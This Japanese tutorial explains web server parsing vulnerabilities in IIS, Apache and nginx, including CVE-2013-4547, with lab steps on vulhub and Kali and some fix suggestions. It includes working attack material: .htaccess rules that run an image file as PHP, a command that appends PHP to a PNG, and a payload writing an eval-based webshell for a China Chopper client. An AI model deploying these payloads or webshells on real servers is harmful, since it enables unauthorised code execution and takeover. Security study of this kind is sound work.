一般的な解析の脆弱性

解析脆弱性#

私たちが web サーバーにアクセスする際、例えば：www.example.com/index.php ファイルにアクセスすると、web サーバーにリクエストを送信し、php ファイルにアクセスします。php のパーサーは php ファイルを静的ファイルに解析し、ブラウザに返してユーザーが閲覧できるようにします。

サーバーの解析脆弱性は、ブラウザがサーバーにファイルをアップロードする際に発生します。サーバーは攻撃者が悪意を持って構築したファイルを解析し、ブラウザに返すことで、悪意のあるファイルをアップロードする目的を達成します。

IIS5.x/6.0 解析脆弱性#

IIS の解析方法には 2 種類あります。

1、ディレクトリ解析

サーバー上に xx.asp というディレクトリが存在する場合、そのディレクトリ内のファイルはすべて asp ファイルとして解析されます。

2、ファイル解析

菜刀を使用して接続すれば、接続が成功します。

IIS6.0 は asp ファイルを実行するだけでなく、asa、cer、cdx などのファイル拡張子のファイルも実行できます。ディレクトリ解析脆弱性と組み合わせて利用できます。例えば：xxx.cer/xxx.jpg、xxx.asa;.jpg。

apache 解析脆弱性#

1、多様な拡張子

apache はファイル拡張子の認識を右から左に行います。例えば：xxx.php.hcx.hts。まず右側の.hts 拡張子を判断し、この拡張子が異常であることを発見すると、.hcx を解析し、最終的に php ファイルに解析され、悪意のあるファイルが実行されます。

php のモジュール設定ファイルを確認する /etc/apache2/mods-available/php7.0.conf

# 下記のFileMatchから".+.ph(p[3457]?|t|tml)$"が見えます。$は最後のもので、php自体
# まだ最後の拡張子を検出していることを示しています。

<FilesMatch ".+.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>

<FilesMatch ".+.phps$">
SetHandler application/x-httpd-php-source
# デフォルトで生のphpソースへのアクセスを拒否
# 再度有効にするには、特定のバーチャルホストまたはディレクトリ内のファイルへのアクセスを有効にすることをお勧めします
Require all denied
</FilesMatch>

ファイル名がないファイルへのアクセスを拒否（例：'.php'）

<FilesMatch "^.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>

ユーザーディレクトリでのPHPスクリプトの実行はデフォルトで無効になっています
ユーザーディレクトリでPHPを再度有効にするには、以下の行をコメントアウトします
（<IfModule ...>から</IfModule>まで）。Onに設定しないでください。そうすると、.htaccessファイルが無効にすることを防ぎます。
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>

以下のようにアクセスすると、php は解析されず、ソースコードが直接返されます：

次に、上記の設定ファイルの$を\.に変更します。

<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps\.">
    SetHandler application/x-httpd-php-source
    # デフォルトで生のphpソースへのアクセスを拒否
    # 再度有効にするには、特定のバーチャルホストまたはディレクトリ内のファイルへのアクセスを有効にすることをお勧めします
    Require all denied
</FilesMatch>
# ファイル名がないファイルへのアクセスを拒否（例：'.php'）
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)\.">
    Require all denied
</FilesMatch>

# ユーザーディレクトリでのPHPスクリプトの実行はデフォルトで無効になっています
#
# ユーザーディレクトリでPHPを再度有効にするには、以下の行をコメントアウトします
# （<IfModule ...>から</IfModule>まで）。Onに設定しないでください。そうすると、.htaccessファイルが無効にすることを防ぎます。
<IfModule mod_userdir.c>
    <Directory /home/*/public_html>
        php_admin_flag engine Off
    </Directory>
</IfModule>

apache サービスを再起動します。

service apache2 restart

ファイル解析が成功しました。

2、珍しい拡張子

apache は特定の mime タイプのファイルを解析します。/etc/mime.types ファイルに解析可能なファイル拡張子形式が定義されています。

もしサイトのファイルアップロード部分で、mime.types ファイル内のタイプに対してフィルタリングが行われていない場合、攻撃者は apache が解析する異なる php ファイル拡張子をアップロードすることで、サイトのフィルターを回避する可能性があります。

3、.htaccess ファイル

ウェブサイトのルートディレクトリにはデフォルトで.htaccess ファイルが存在しないため、自分で作成する必要があります。.htaccess の内容は以下の通りです。

AddType application/x-httpd-php xxx

 <FilesMatch "shell.jpg">
	 SetHandler application/x-httpd-php
 </FilesMatch>

.htaccess 機能はデフォルトで無効になっており、アクセス結果は以下の通りです：

apache 設定ファイルを編集します。

AllowOverride None を AllowOverride All に変更します。

<Directory />
        Options FollowSymLinks
        AllowOverride All
        Require all denied
</Directory>

<Directory /usr/share>
        AllowOverride None
        Require all granted
</Directory>

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>

#<Directory /srv/>
#       Options Indexes FollowSymLinks
#       AllowOverride None
#       Require all granted
#</Directory>

さらに、.ht で始まるマッチを granted に変更します。

<FilesMatch "^.ht">
Require all granted
</FilesMatch>

3、rewrite モジュールをロードする

シンボリックリンクを作成します。

cd /etc/apache2/mods-enabled/
ln -s ../mods-available/rewrite.load rewrite.load

このように、.htaccess 機能が有効になりました。ウェブサイトのルートディレクトリ (/var/www/html) に相応しいテストファイルを作成します。

root@kali:/var/www/html# tree
.
├── index.html
├── index.php
├── shell.jpg
├── test
│ ├── shell.jpg
│ └── [type.xxx](http://type.xxx/)
└── [type.xxx](http://type.xxx/)

shell.jpg と type.xxx の内容は以下の通りです。

<?php echo 'HELLO WORLD'; ?>

ブラウザで shell.jpg の画像拡張子と type.xxx のファイルにアクセスすると、php コードファイルが直接実行されました。

適切に.htaccess ファイルを利用することで、php 拡張子のフィルタリングをうまく回避できます。

ファイル解析脆弱性のまとめ - Apache - CSDN ブログ

nginx 解析脆弱性#

Nginx は高性能な web サーバーで、非常に広く使用されています。リバースプロキシとして頻繁に使用されるだけでなく、PHP の実行も非常に良好にサポートしています。

Nginx は0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37バージョンで比較的深刻なセキュリティ問題が発見されており、デフォルトではサーバーが任意のタイプのファイルを PHP の方法で解析する可能性があり、これは深刻なセキュリティ問題を引き起こし、悪意のある攻撃者が PHP をサポートする nginx サーバーを攻撃する可能性があります。

nginx の脆弱性環境の構築は比較的面倒なので、直接脆弱性プラットフォームを使用しましょう！

したがって、vulhub 脆弱性プラットフォームを使用してデモを行います。

vulhub プロジェクトのアドレス：https://github.com/vulhub/vulhub

vulhub 脆弱性プラットフォームは docker を基に構築されており、docker の利点は脆弱性環境を直接取得でき、すぐに使用できることです。自分で環境を再構築する必要はありません。

1、docker をインストールします。

# pipをインストール
curl -s https://bootstrap.pypa.io/get-pip.py | python3

# 最新版のdockerをインストール
curl -s https://get.docker.com/ | sh

# dockerサービスを起動
service docker start

# composeをインストール
pip install docker-compose

2、vulhub の使い方

# プロジェクトを取得
git clone https://github.com/vulhub/vulhub.git
cd vulhub

# 特定の脆弱性/環境のディレクトリに入る
cd flask/ssti

# 環境を自動的にビルド
docker-compose build

# 環境全体を起動
docker-compose up -d

上記は vulhub の readme からの引用です

注：

1、環境を起動する際は、システム時間の設定に注意してください。時間が一致しないとエラーが発生します。

Get https://registry-1.docker.io/v2/: x509: certificate has expired or is no

nginx の解析脆弱性は nginx や php のバージョンに依存せず、ユーザーの設定ファイルの不適切な構成によって引き起こされますが、高バージョンの php では「security.limit_extensions」メカニズムが導入され、デフォルトでは.php 拡張子のファイルのみが解析されます。

nginx のバージョンは以下の通りです：

Nginx が test.jpg/.php ファイルを取得すると、URL の最後の php ファイル拡張子を見て、それを php ファイルと見なして php パーサーに処理を渡しますが、php パーサーはこの php ファイルを見つけられず、php 拡張子を削除して test.jpg を取得します。test.jpg は存在しますが、php ファイルではなく画像ファイルであり、php パーサーは解析せず、Access denied を返します。

nginx の解析脆弱性は 80sec 組織によって発見され、fastcgi が有効になっている場合、攻撃者が jpg ファイルをアップロードし、内容は以下の通りです：

<?PHP phpinfo() ?>

その後、xxx.jpg/.php ファイルにアクセスすると、このファイルは php ファイルとして解析されます。

この時、以下のように表示されます：

Access deniedと表示されます。

これは、最新の php.ini 設定ファイルで cgi.fix_pathinfo=1 がデフォルトで 1 に設定されているためです。cgi.fix_pathinfo を 0 に設定すると、後ろの拡張子が解析されなくなり、解析脆弱性も存在しなくなります。

現在はまだ解析できません。なぜなら、新しいバージョンの php では「security.limit_extensions」メカニズムが導入され、実行可能なファイルの拡張子が制限されているからです。

# php-fpm.confファイルを探す

# find / -name php-fpm.conf
/etc/php-fpm.conf

php-fpm.conf ファイルには、/etc/php-fpm.d/*.conf ディレクトリ内のファイル設定が含まれています。

/etc/php-fpm.d/ ディレクトリに入り、相応しい設定ファイルを編集します。

nginx と php-fpm サービスを再起動します。

ブラウザでアクセスします。

# 画像マを作成

copy xx.png/b + yy.txt/a xy.png

yy.txtの内容は以下の通りです：

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

png 画像マをアップロードし、ブラウザでアクセスします。

菜刀で生成された shell.php ファイルにアクセスします。http://192.168.63.131/shell.php。

参考：

https://blog.csdn.net/wn314/article/details/77388289

修正提案

1、php.ini 設定ファイルの cgi.fix_pathinfo=1 を cgi.fix_pathinfo=0 に変更します。
2、新しいバージョンの php で導入された「security.limit_extensions」メカニズムを使用して、実行可能なファイルの拡張子を制限します。

Nginx ファイル名論理脆弱性（CVE-2013-4547）#

影響バージョン：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

nginx の設定ファイルは以下の通りです：

location ~ \.php$ {
            root           html;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            include        fastcgi_params;
#           try_files   $uri = 404;
            
        }

デフォルトでは.php で終わるファイルが fastcgi に渡されて解析されます。

cgi.fix_pathinfo=0の状態では、デフォルトで php 拡張子のファイルのみが実行を許可されます。もし Nginx ファイル名論理脆弱性（CVE-2013-4547）が存在する場合、無効な文字である空白や終止符（\0）が Nginx が URI を解析する際の有限状態機械を混乱させ、攻撃者が非エンコード空白を使用して拡張子制限を回避し、php コードを実行できるようになります。